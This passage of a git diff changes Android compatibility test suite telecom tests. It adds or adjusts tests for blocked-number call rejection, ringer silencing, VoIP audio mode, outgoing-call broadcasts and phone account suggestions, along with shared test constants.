-    @CddTest(requirement="7.4.1.1/C-1-3")
     public void testIncomingCallFromBlockedNumber_IsRejected() throws Exception {
         if (!mShouldTestTelecom) {
             return;
@@ -397,17 +393,17 @@
             assertNull(mInCallCallbacks.getService());
         } finally {
             if (blockedUri != null) {
-                unblockNumber(blockedUri);
+                mContext.getContentResolver().delete(blockedUri, null, null);
             }
         }
     }
 
     private Uri blockNumber(Uri phoneNumberUri) {
-        return insertBlockedNumber(mContext, phoneNumberUri.getSchemeSpecificPart());
-    }
-
-    private int unblockNumber(Uri uri) {
-        return deleteBlockedNumber(mContext, uri);
+        ContentValues cv = new ContentValues();
+        cv.put(BlockedNumberContract.BlockedNumbers.COLUMN_ORIGINAL_NUMBER,
+                phoneNumberUri.getSchemeSpecificPart());
+        return mContext.getContentResolver().insert(
+                BlockedNumberContract.BlockedNumbers.CONTENT_URI, cv);
     }
 
     public void testAnswerIncomingCallAsVideo_SendsCorrectVideoState() {
@@ -586,15 +582,18 @@
         if (!mShouldTestTelecom) {
             return;
         }
-
         addAndVerifyNewIncomingCall(createTestNumber(), null);
         final MockConnection connection = verifyConnectionForIncomingCall();
+        final InvokeCounter counter = connection.getInvokeCounter(MockConnection.ON_SILENCE);
         final MockInCallService inCallService = mInCallCallbacks.getService();
 
         final TelecomManager telecomManager =
             (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
         telecomManager.silenceRinger();
+
+        // Both the InCallService and Connection will be notified of a request to silence:
         mOnSilenceRingerCounter.waitForCount(1);
+        counter.waitForCount(1);
     }
 
     public void testOnPostDialWaitAndContinue() {
diff --git a/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java b/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
index 8317e3d..af74f88 100644
--- a/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
@@ -20,10 +20,14 @@
 import static android.telecom.cts.TestUtils.PACKAGE;
 
 import android.content.ComponentName;
+import android.graphics.drawable.Icon;
 import android.net.Uri;
 import android.os.Bundle;
+import android.telecom.Call;
 import android.telecom.Connection;
+import android.telecom.ConnectionRequest;
 import android.telecom.PhoneAccountHandle;
+import android.telecom.StatusHints;
 import android.telecom.TelecomManager;
 import android.telephony.TelephonyManager;
 
@@ -107,4 +111,33 @@
 
         assertFalse(CtsConnectionService.isServiceRegisteredToTelecom());
     }
+
+    /**
+     * Ensure {@link Call.Details#PROPERTY_VOIP_AUDIO_MODE} is set for a ringing call which uses
+     * voip audio mode.
+     * @throws Exception
+     */
+    public void testAddNewIncomingCallVoipState() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        setupConnectionService(new MockConnectionService() {
+            @Override
+            public Connection onCreateIncomingConnection(
+                    PhoneAccountHandle connectionManagerPhoneAccount,
+                    ConnectionRequest request) {
+                Connection connection = super.onCreateIncomingConnection(
+                        connectionManagerPhoneAccount,
+                        request);
+                connection.setAudioModeIsVoip(true);
+                lock.release();
+                return connection;
+            }
+        }, FLAG_REGISTER | FLAG_ENABLE);
+        addAndVerifyNewIncomingCall(createTestNumber(), null);
+        verifyConnectionForIncomingCall();
+
+        assertTrue((mInCallCallbacks.getService().getLastCall().getDetails().getCallProperties()
+                & Call.Details.PROPERTY_VOIP_AUDIO_MODE) != 0);
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
index a761c6a..5ca1b2b 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
@@ -42,6 +42,7 @@
     public static final int ON_RTT_REQUEST_RESPONSE = 6;
     public static final int ON_STOP_RTT = 7;
     public static final int ON_DEFLECT = 8;
+    public static final int ON_SILENCE = 9;
 
     private CallAudioState mCallAudioState =
             new CallAudioState(false, CallAudioState.ROUTE_EARPIECE, ROUTE_EARPIECE | ROUTE_SPEAKER);
@@ -230,6 +231,15 @@
         }
     }
 
+    @Override
+    public void onSilence() {
+        super.onSilence();
+
+        if (mInvokeCounterMap.get(ON_SILENCE) != null) {
+            mInvokeCounterMap.get(ON_SILENCE).invoke();
+        }
+    }
+
     public int getCurrentState()  {
         return mState;
     }
@@ -333,6 +343,8 @@
                 return "onStopRtt";
             case ON_DEFLECT:
                 return "onDeflect";
+            case ON_SILENCE:
+                return "onSilence";
             default:
                 return "Callback";
         }
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
index 88772b0..2025882 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
@@ -71,7 +71,9 @@
         connection.setAddress(request.getAddress(), CONNECTION_PRESENTATION);
         connection.setPhoneAccountHandle(connectionManagerPhoneAccount);
         connection.setConnectionCapabilities(Connection.CAPABILITY_SUPPORT_HOLD |
-                Connection.CAPABILITY_HOLD);
+                Connection.CAPABILITY_HOLD
+                | Connection.CAPABILITY_SUPPORTS_VT_LOCAL_BIDIRECTIONAL
+                | Connection.CAPABILITY_SUPPORTS_VT_REMOTE_BIDIRECTIONAL);
         if (mCreateVideoProvider) {
             connection.createMockVideoProvider();
         } else {
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java b/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java
index 338a225..32d8c48 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java
@@ -39,7 +39,7 @@
     private Map<Call, MockVideoCallCallback> mVideoCallCallbacks =
             new ArrayMap<Call, MockVideoCallCallback>();
 
-    private static final Object sLock = new Object();
+    protected static final Object sLock = new Object();
     private static boolean mIsServiceBound = false;
 
     public static abstract class InCallServiceCallbacks {
diff --git a/tests/tests/telecom/src/android/telecom/cts/NewOutgoingCallBroadcastReceiver.java b/tests/tests/telecom/src/android/telecom/cts/NewOutgoingCallBroadcastReceiver.java
new file mode 100644
index 0000000..957add7
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/NewOutgoingCallBroadcastReceiver.java
@@ -0,0 +1,35 @@
+package android.telecom.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+
+/**
+ * Broadcast receiver for {@link Intent#ACTION_NEW_OUTGOING_CALL}.
+ */
+public class NewOutgoingCallBroadcastReceiver extends BroadcastReceiver {
+    private static boolean sIsNewOutgoingCallBroadcastReceived = false;
+    private static Uri sReceivedPhoneNumber = null;
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        if (Intent.ACTION_NEW_OUTGOING_CALL.equals(intent.getAction())) {
+            sIsNewOutgoingCallBroadcastReceived = true;
+            sReceivedPhoneNumber = intent.getData();
+        }
+    }
+
+    public static boolean isNewOutgoingCallBroadcastReceived() {
+        return sIsNewOutgoingCallBroadcastReceived;
+    }
+
+    public static Uri getReceivedNumber() {
+        return sReceivedPhoneNumber;
+    }
+
+    public static void reset() {
+        sIsNewOutgoingCallBroadcastReceived = false;
+        sReceivedPhoneNumber = null;
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java b/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
index 049355f..36154d7 100644
--- a/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
@@ -31,6 +31,7 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
+        NewOutgoingCallBroadcastReceiver.reset();
         if (mShouldTestTelecom) {
             setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
         }
diff --git a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java
index 6d080b2..4f3bc66 100644
--- a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java
@@ -38,7 +38,7 @@
  */
 public class PhoneAccountOperationsTest extends InstrumentationTestCase {
     public static final PhoneAccountHandle TEST_PHONE_ACCOUNT_HANDLE =
-            new PhoneAccountHandle(new ComponentName(PACKAGE, COMPONENT), ACCOUNT_ID);
+            new PhoneAccountHandle(new ComponentName(PACKAGE, COMPONENT), ACCOUNT_ID_1);
     public static final Bundle TEST_BUNDLE = createTestBundle();
     public static final int TEST_LENGTH = 10;
     public static final String TEST_ENCODING = "enUS";
diff --git a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountSuggestionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountSuggestionServiceTest.java
new file mode 100644
index 0000000..484ee84
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountSuggestionServiceTest.java
@@ -0,0 +1,219 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telecom.cts;
+
+import static android.telecom.cts.TestUtils.TEST_PHONE_ACCOUNT_HANDLE;
+import static android.telecom.cts.TestUtils.shouldTestTelecom;
+
+import android.content.ComponentName;
+import android.net.Uri;
+import android.os.Bundle;
+import android.telecom.Call;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.PhoneAccountSuggestion;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
+
+public class PhoneAccountSuggestionServiceTest extends BaseTelecomTestWithMockServices {
+    private static final long TEST_TIMEOUT = 5000;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        if (shouldTestTelecom(mContext)) {
+            TestUtils.setCtsPhoneAccountSuggestionService(getInstrumentation(),
+                    new ComponentName(mContext, CtsPhoneAccountSuggestionService.class));
+            mTelecomManager.registerPhoneAccount(TestUtils.TEST_PHONE_ACCOUNT);
+            mTelecomManager.registerPhoneAccount(TestUtils.TEST_PHONE_ACCOUNT_2);
+            TestUtils.enablePhoneAccount(getInstrumentation(), TestUtils.TEST_PHONE_ACCOUNT_HANDLE);
+            TestUtils.enablePhoneAccount(
+                    getInstrumentation(), TestUtils.TEST_PHONE_ACCOUNT_HANDLE_2);
+            CtsPhoneAccountSuggestionService.enableService(mContext);
+        }
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        if (shouldTestTelecom(mContext)) {
+            if (mInCallCallbacks.getService().getLastCall() != null) {
+                mInCallCallbacks.getService().getLastCall().disconnect();
+            }
+            TestUtils.setCtsPhoneAccountSuggestionService(getInstrumentation(), null);
+            mTelecomManager.unregisterPhoneAccount(TestUtils.TEST_PHONE_ACCOUNT_HANDLE);
+            mTelecomManager.unregisterPhoneAccount(TestUtils.TEST_PHONE_ACCOUNT_HANDLE_2);
+            CtsPhoneAccountSuggestionService.disableService(mContext);
+        }
+        super.tearDown();
+    }
+
+    public void testSuggestionFlow() throws Exception {
+        CtsPhoneAccountSuggestionService.sSuggestionsToProvide =
+                new ArrayList<PhoneAccountSuggestion>() {{
+                    add(new PhoneAccountSuggestion(TestUtils.TEST_PHONE_ACCOUNT_HANDLE,
+                            PhoneAccountSuggestion.REASON_NONE,
+                            false));
+
+                    add(new PhoneAccountSuggestion(TestUtils.TEST_PHONE_ACCOUNT_HANDLE_2,
+                            PhoneAccountSuggestion.REASON_FREQUENT,
+                            true));
+                }};
+
+        Uri number = createTestNumber();
+        mTelecomManager.placeCall(number, new Bundle());
+
+        assertEquals(number.getSchemeSpecificPart(),
+                CtsPhoneAccountSuggestionService.sSuggestionRequestQueue.poll(
+                        TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+
+        if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+                TimeUnit.SECONDS)) {
+            fail("No call added to InCallService.");
+        }
+
+        final MockInCallService inCallService = mInCallCallbacks.getService();
+        Call phoneAcctSelectCall = inCallService.getLastCall();
+        assertEquals(Call.STATE_SELECT_PHONE_ACCOUNT, phoneAcctSelectCall.getState());
+        List<PhoneAccountSuggestion> receivedSuggestions =
+                phoneAcctSelectCall.getDetails().getIntentExtras()
+                        .getParcelableArrayList(Call.EXTRA_SUGGESTED_PHONE_ACCOUNTS);
+        assertTrue(CtsPhoneAccountSuggestionService.sSuggestionsToProvide.size()
+                <= receivedSuggestions.size());
+        assertTrue(receivedSuggestions.containsAll(
+                CtsPhoneAccountSuggestionService.sSuggestionsToProvide));
+    }
+
+    public void testSuggestionTimeout() throws Exception {
+        CtsPhoneAccountSuggestionService.sSuggestionsToProvide =
+                new ArrayList<PhoneAccountSuggestion>() {{
+                    add(new PhoneAccountSuggestion(TestUtils.TEST_PHONE_ACCOUNT_HANDLE,
+                            PhoneAccountSuggestion.REASON_NONE,
+                            false));
+
+                    add(new PhoneAccountSuggestion(TestUtils.TEST_PHONE_ACCOUNT_HANDLE_2,
+                            PhoneAccountSuggestion.REASON_FREQUENT,
+                            true));
+                }};
+
+        // Force a Telecom time out
+        CtsPhoneAccountSuggestionService.sSuggestionWaitTime =
+                2 * 1000 * TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S;
+
+        Uri number = createTestNumber();
+        mTelecomManager.placeCall(number, new Bundle());
+
+        assertEquals(number.getSchemeSpecificPart(),
+                CtsPhoneAccountSuggestionService.sSuggestionRequestQueue.poll(
+                        TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+
+        if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+                TimeUnit.SECONDS)) {
+            fail("No call added to InCallService.");
+        }
+
+        final MockInCallService inCallService = mInCallCallbacks.getService();
+        Call phoneAcctSelectCall = inCallService.getLastCall();
+        assertEquals(Call.STATE_SELECT_PHONE_ACCOUNT, phoneAcctSelectCall.getState());
+        List<PhoneAccountSuggestion> receivedSuggestions =
+                phoneAcctSelectCall.getDetails().getIntentExtras()
+                        .getParcelableArrayList(Call.EXTRA_SUGGESTED_PHONE_ACCOUNTS);
+
+        List<PhoneAccountHandle> receivedAccounts =
+                phoneAcctSelectCall.getDetails().getIntentExtras()
+                        .getParcelableArrayList(Call.AVAILABLE_PHONE_ACCOUNTS);
+        // We don't need to assert anything about the contents, just make sure that we get
+        // some default suggestions that match up with the available accounts.
+        assertEquals(receivedAccounts.size(), receivedSuggestions.size());
+        assertTrue(receivedAccounts.containsAll(getHandlesFromSuggestions(receivedSuggestions)));
+    }
+
+    public void testEmptySuggestions() throws Exception {
+        CtsPhoneAccountSuggestionService.sSuggestionsToProvide = Collections.emptyList();
+
+        Uri number = createTestNumber();
+        mTelecomManager.placeCall(number, new Bundle());
+
+        assertEquals(number.getSchemeSpecificPart(),
+                CtsPhoneAccountSuggestionService.sSuggestionRequestQueue.poll(
+                        TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+
+        if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+                TimeUnit.SECONDS)) {
+            fail("No call added to InCallService.");
+        }
+
+        final MockInCallService inCallService = mInCallCallbacks.getService();
+        Call phoneAcctSelectCall = inCallService.getLastCall();
+        assertEquals(Call.STATE_SELECT_PHONE_ACCOUNT, phoneAcctSelectCall.getState());
+        List<PhoneAccountSuggestion> receivedSuggestions =
+                phoneAcctSelectCall.getDetails().getIntentExtras()
+                        .getParcelableArrayList(Call.EXTRA_SUGGESTED_PHONE_ACCOUNTS);
+        List<PhoneAccountHandle> receivedAccounts =
+                phoneAcctSelectCall.getDetails().getIntentExtras()
+                        .getParcelableArrayList(Call.AVAILABLE_PHONE_ACCOUNTS);
+        assertEquals(receivedAccounts.size(), receivedSuggestions.size());
+        assertTrue(receivedAccounts.containsAll(getHandlesFromSuggestions(receivedSuggestions)));
+    }
+
+    public void testPartialSuggestions() throws Exception {
+        CtsPhoneAccountSuggestionService.sSuggestionsToProvide =
+                new ArrayList<PhoneAccountSuggestion>() {{
+                    add(new PhoneAccountSuggestion(TestUtils.TEST_PHONE_ACCOUNT_HANDLE_2,
+                            PhoneAccountSuggestion.REASON_FREQUENT,
+                            true));
+                }};
+
+        Uri number = createTestNumber();
+        mTelecomManager.placeCall(number, new Bundle());
+
+        assertEquals(number.getSchemeSpecificPart(),
+                CtsPhoneAccountSuggestionService.sSuggestionRequestQueue.poll(
+                        TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+
+        if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+                TimeUnit.SECONDS)) {
+            fail("No call added to InCallService.");
+        }
+
+        final MockInCallService inCallService = mInCallCallbacks.getService();
+        Call phoneAcctSelectCall = inCallService.getLastCall();
+        assertEquals(Call.STATE_SELECT_PHONE_ACCOUNT, phoneAcctSelectCall.getState());
+        List<PhoneAccountSuggestion> receivedSuggestions =
+                phoneAcctSelectCall.getDetails().getIntentExtras()
+                        .getParcelableArrayList(Call.EXTRA_SUGGESTED_PHONE_ACCOUNTS);
+        List<PhoneAccountHandle> receivedAccounts =
+                phoneAcctSelectCall.getDetails().getIntentExtras()
+                        .getParcelableArrayList(Call.AVAILABLE_PHONE_ACCOUNTS);
+        assertEquals(receivedAccounts.size(), receivedSuggestions.size());
+        // Make sure the received list contains the one that we provided.
+        assertTrue(receivedSuggestions
+                .containsAll(CtsPhoneAccountSuggestionService.sSuggestionsToProvide));
+        // Make sure the framework filled in the other one.
+        assertEquals(1, receivedSuggestions.stream()
+                .filter(s -> TEST_PHONE_ACCOUNT_HANDLE.equals(s.getPhoneAccountHandle()))
+                .count());
+    }
+
+    private static List<PhoneAccountHandle> getHandlesFromSuggestions(
+            List<PhoneAccountSuggestion> s) {
+        return s.stream().map(PhoneAccountSuggestion::getPhoneAccountHandle)
+                .collect(Collectors.toList());
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountSuggestionTest.java b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountSuggestionTest.java
new file mode 100644
index 0000000..1c9258f
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountSuggestionTest.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.os.Parcel;
+import android.telecom.PhoneAccountSuggestion;
+import android.test.AndroidTestCase;
+
+public class PhoneAccountSuggestionTest extends AndroidTestCase {
+    public void testAccessors() {
+        PhoneAccountSuggestion suggestion = new PhoneAccountSuggestion(
+                TestUtils.TEST_PHONE_ACCOUNT_HANDLE,
+                PhoneAccountSuggestion.REASON_INTRA_CARRIER, true);
+        assertEquals(TestUtils.TEST_PHONE_ACCOUNT_HANDLE, suggestion.getPhoneAccountHandle());
+        assertEquals(PhoneAccountSuggestion.REASON_INTRA_CARRIER, suggestion.getReason());
+        assertTrue(suggestion.shouldAutoSelect());
+    }
+
+    public void testParcelUnparcel() {
+        PhoneAccountSuggestion suggestion = new PhoneAccountSuggestion(
+                TestUtils.TEST_PHONE_ACCOUNT_HANDLE,
+                PhoneAccountSuggestion.REASON_INTRA_CARRIER, true);
+        Parcel p = Parcel.obtain();
+        suggestion.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        PhoneAccountSuggestion suggestion2 = PhoneAccountSuggestion.CREATOR.createFromParcel(p);
+        assertEquals(suggestion, suggestion2);
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
index 5127df4..76c3f758 100644
--- a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
@@ -16,6 +16,8 @@
 
 package android.telecom.cts;
 
+import android.content.Context;
+import android.media.AudioManager;
 import android.net.Uri;
 import android.os.Bundle;
 import android.telecom.Call;
@@ -31,6 +33,7 @@
 import java.util.List;
 import java.util.function.Predicate;
 
+import static android.media.AudioManager.MODE_IN_COMMUNICATION;
 import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
 import static android.telecom.cts.TestUtils.waitOnAllHandlers;
 
@@ -49,6 +52,7 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
+        NewOutgoingCallBroadcastReceiver.reset();
         mContext = getInstrumentation().getContext();
         if (mShouldTestTelecom) {
             // Register and enable the CTS ConnectionService; we want to be able to test a managed
@@ -236,6 +240,11 @@
         connection.getOnShowIncomingUiInvokeCounter().waitForCount(1);
         setActiveAndVerify(connection);
 
+        // Ensure that the connection defaulted to voip audio mode.
+        assertTrue(connection.getAudioModeIsVoip());
+        // Ensure AudioManager has correct voip mode.
+        verifyAudioMode();
+
         // Expect there to be no managed calls at the moment.
         assertFalse(mTelecomManager.isInManagedCall());
         assertTrue(mTelecomManager.isInCall());
@@ -309,11 +318,19 @@
 
         setActiveAndVerify(connection);
 
+        // Ensure that the connection defaulted to voip audio mode.
+        assertTrue(connection.getAudioModeIsVoip());
+        // Ensure AudioManager has correct voip mode.
+        verifyAudioMode();
+
         // Expect there to be no managed calls at the moment.
         assertFalse(mTelecomManager.isInManagedCall());
         // But there should be a call (including self-managed).
         assertTrue(mTelecomManager.isInCall());
 
+        // Expect that the new outgoing call broadcast did not fire for the self-managed calls.
+        assertFalse(NewOutgoingCallBroadcastReceiver.isNewOutgoingCallBroadcastReceived());
+
         setDisconnectedAndVerify(connection);
     }
 
@@ -562,4 +579,23 @@
         assertIsInCall(false);
         assertIsInManagedCall(false);
     }
+
+    private void verifyAudioMode() {
+        AudioManager am = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return MODE_IN_COMMUNICATION;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return am.getMode();
+                    }
+                },
+                WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "Expected audio mode to be " + MODE_IN_COMMUNICATION
+        );
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/SimCallManagerTest.java b/tests/tests/telecom/src/android/telecom/cts/SimCallManagerTest.java
index a7961c3..9569f1d 100644
--- a/tests/tests/telecom/src/android/telecom/cts/SimCallManagerTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/SimCallManagerTest.java
@@ -16,7 +16,7 @@
 
 package android.telecom.cts;
 
-import static android.telecom.cts.TestUtils.ACCOUNT_ID;
+import static android.telecom.cts.TestUtils.ACCOUNT_ID_1;
 import static android.telecom.cts.TestUtils.ACCOUNT_LABEL;
 import static android.telecom.cts.TestUtils.COMPONENT;
 import static android.telecom.cts.TestUtils.PACKAGE;
@@ -40,7 +40,7 @@
  */
 public class SimCallManagerTest extends InstrumentationTestCase {
     public static final PhoneAccountHandle TEST_PHONE_ACCOUNT_HANDLE =
-            new PhoneAccountHandle(new ComponentName(PACKAGE, COMPONENT), ACCOUNT_ID);
+            new PhoneAccountHandle(new ComponentName(PACKAGE, COMPONENT), ACCOUNT_ID_1);
 
     public static final PhoneAccount TEST_SIM_CALL_MANAGER_ACCOUNT = PhoneAccount.builder(
             TEST_PHONE_ACCOUNT_HANDLE, ACCOUNT_LABEL)
diff --git a/tests/tests/telecom/src/android/telecom/cts/TelecomAvailabilityTest.java b/tests/tests/telecom/src/android/telecom/cts/TelecomAvailabilityTest.java
index fba31a0..8163520 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TelecomAvailabilityTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TelecomAvailabilityTest.java
@@ -29,8 +29,6 @@
 import android.test.InstrumentationTestCase;
 import android.util.Log;
 
-import com.android.compatibility.common.util.CddTest;
-
 import java.util.ArrayList;
 import java.util.List;
 
@@ -101,7 +99,6 @@
                 telephonyMatches);
     }
 
-    @CddTest(requirement="7.4.1.1/C-1-6")
     public void testTelecomCanManageBlockedNumbers() {
         if (!shouldTestTelecom(mContext)) {
             return;
diff --git a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
index 0671aaa..08aba5e 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
@@ -65,13 +65,25 @@
     // Non-final to allow modification by tests not in this package (e.g. permission-related
     // tests in the Telecom2 test package.
     public static String PACKAGE = "android.telecom.cts";
+    public static final String TEST_URI_SCHEME = "foobuzz";
     public static final String COMPONENT = "android.telecom.cts.CtsConnectionService";
     public static final String SELF_MANAGED_COMPONENT =
             "android.telecom.cts.CtsSelfManagedConnectionService";
     public static final String REMOTE_COMPONENT = "android.telecom.cts.CtsRemoteConnectionService";
-    public static final String ACCOUNT_ID = "xtstest_CALL_PROVIDER_ID";
+    public static final String ACCOUNT_ID_1 = "xtstest_CALL_PROVIDER_ID";
+    public static final String ACCOUNT_ID_2 = "xtstest_CALL_PROVIDER_ID";
     public static final PhoneAccountHandle TEST_PHONE_ACCOUNT_HANDLE =
-            new PhoneAccountHandle(new ComponentName(PACKAGE, COMPONENT), ACCOUNT_ID);
+            new PhoneAccountHandle(new ComponentName(PACKAGE, COMPONENT), ACCOUNT_ID_1);
+    public static final PhoneAccountHandle TEST_PHONE_ACCOUNT_HANDLE_2 =
+            new PhoneAccountHandle(new ComponentName(PACKAGE, COMPONENT), ACCOUNT_ID_2);
+    public static final String DEFAULT_TEST_ACCOUNT_1_ID = "ctstest_DEFAULT_TEST_ID_1";
+    public static final String DEFAULT_TEST_ACCOUNT_2_ID = "ctstest_DEFAULT_TEST_ID_2";
+    public static final PhoneAccountHandle TEST_DEFAULT_PHONE_ACCOUNT_HANDLE_1 =
+            new PhoneAccountHandle(new ComponentName(PACKAGE, COMPONENT),
+                    DEFAULT_TEST_ACCOUNT_1_ID);
+    public static final PhoneAccountHandle TEST_DEFAULT_PHONE_ACCOUNT_HANDLE_2 =
+            new PhoneAccountHandle(new ComponentName(PACKAGE, COMPONENT),
+                    DEFAULT_TEST_ACCOUNT_2_ID);
     public static final PhoneAccountHandle TEST_HANDOVER_SRC_PHONE_ACCOUNT_HANDLE =
             new PhoneAccountHandle(new ComponentName(PACKAGE, COMPONENT), "handoverFrom");
     public static final PhoneAccountHandle TEST_HANDOVER_DEST_PHONE_ACCOUNT_HANDLE =
@@ -105,6 +117,37 @@
             .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
             .addSupportedUriScheme(PhoneAccount.SCHEME_VOICEMAIL)
             .build();
+
+    public static final PhoneAccount TEST_PHONE_ACCOUNT_2 = PhoneAccount.builder(
+            TEST_PHONE_ACCOUNT_HANDLE_2, ACCOUNT_LABEL + "2")
+            .setAddress(Uri.parse("tel:555-TEST2"))
+            .setSubscriptionAddress(Uri.parse("tel:555-TEST2"))
+            .setCapabilities(PhoneAccount.CAPABILITY_CALL_PROVIDER |
+                    PhoneAccount.CAPABILITY_VIDEO_CALLING |
+                    PhoneAccount.CAPABILITY_RTT |
+                    PhoneAccount.CAPABILITY_CONNECTION_MANAGER)
+            .setHighlightColor(Color.BLUE)
+            .setShortDescription(ACCOUNT_LABEL)
+            .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
+            .addSupportedUriScheme(PhoneAccount.SCHEME_VOICEMAIL)
+            .build();
+
+    public static final PhoneAccount TEST_DEFAULT_PHONE_ACCOUNT_1 = PhoneAccount.builder(
+            TEST_DEFAULT_PHONE_ACCOUNT_HANDLE_1, "Default Test 1")
+            .setAddress(Uri.parse("foobuzz:testuri1"))
+            .setCapabilities(PhoneAccount.CAPABILITY_CALL_PROVIDER)
+            .setHighlightColor(Color.RED)
+            .setShortDescription("Default Test 1")
+            .addSupportedUriScheme(TEST_URI_SCHEME)
+            .build();
+    public static final PhoneAccount TEST_DEFAULT_PHONE_ACCOUNT_2 = PhoneAccount.builder(
+            TEST_DEFAULT_PHONE_ACCOUNT_HANDLE_2, "Default Test 2")
+            .setAddress(Uri.parse("foobuzz:testuri2"))
+            .setCapabilities(PhoneAccount.CAPABILITY_CALL_PROVIDER)
+            .setHighlightColor(Color.RED)
+            .setShortDescription("Default Test 2")
+            .addSupportedUriScheme(TEST_URI_SCHEME)
+            .build();
     private static final Bundle SUPPORTS_HANDOVER_FROM_EXTRAS = new Bundle();
     private static final Bundle SUPPORTS_HANDOVER_TO_EXTRAS = new Bundle();
     static {
@@ -135,7 +178,6 @@
             .build();
     public static final String REMOTE_ACCOUNT_LABEL = "CTSRemoteConnectionService";
